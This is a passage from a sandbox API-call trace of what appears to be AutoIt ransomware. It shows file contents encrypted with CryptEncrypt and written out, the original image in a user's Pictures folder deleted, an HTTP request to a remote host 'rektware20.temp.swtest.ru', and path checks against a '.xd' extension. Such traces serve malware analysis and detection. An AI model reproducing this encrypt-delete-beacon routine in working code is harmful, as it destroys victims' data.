lpMsg=0x130ec34) returned 0 [0061.573] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.573] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.573] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621af8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.573] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.574] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17c2d30*, pdwDataLen=0x130e618*=0x1fa0, dwBufLen=0x1fb0 | out: pbData=0x17c2d30*, pdwDataLen=0x130e618*=0x1fb0) returned 1 [0061.574] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.574] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.574] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.574] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.574] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.574] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.574] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.574] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.574] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.574] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.574] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.575] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.575] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.575] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.575] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.575] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.575] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.575] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.576] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.576] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.576] WriteFile (in: hFile=0x3bc, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x1fb0, lpOverlapped=0x0) returned 1 [0061.577] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.577] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.577] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.577] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.577] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.577] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.577] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.577] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.577] CryptDestroyKey (hKey=0x164c630) returned 1 [0061.577] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.577] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.578] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.578] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.578] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.578] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.578] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.578] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.578] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.578] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.578] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.578] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.578] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.578] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.578] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.578] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.578] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.578] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.579] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.579] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.579] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.579] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.579] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.579] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.579] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0061.579] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0061.579] CryptReleaseContext (hProv=0x17a9f88, dwFlags=0x0) returned 1 [0061.579] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.579] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.579] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.579] FreeLibrary (hLibModule=0x74c60000) returned 1 [0061.579] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.580] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.580] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.580] CloseHandle (hObject=0x2ac) returned 1 [0061.580] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.580] CloseHandle (hObject=0x3bc) returned 1 [0061.582] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.582] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.582] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", lpFilePart=0x0) returned 0x5c [0061.582] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\k y0fh1uyk3.bmp")) returned 0x20 [0061.582] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c770 [0061.582] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\k y0fh1uyk3.bmp")) returned 1 [0061.585] FindNextFileW (in: hFindFile=0x164c770, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0061.586] FindClose (in: hFindFile=0x164c770 | out: hFindFile=0x164c770) returned 1 [0061.586] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.586] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.586] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.586] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.587] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0061.587] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.587] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.587] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0061.587] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.587] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0061.587] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0061.587] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dd8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dd8, lpdwBufferLength=0x130ef8c) returned 1 [0061.587] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.587] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.587] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.588] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0061.588] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0061.588] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0061.588] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0061.589] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0061.589] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.589] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.589] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.589] CloseHandle (hObject=0x0) returned 0 [0061.589] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.589] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.589] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.589] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.589] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.589] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.589] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.589] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.589] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.589] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.589] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] 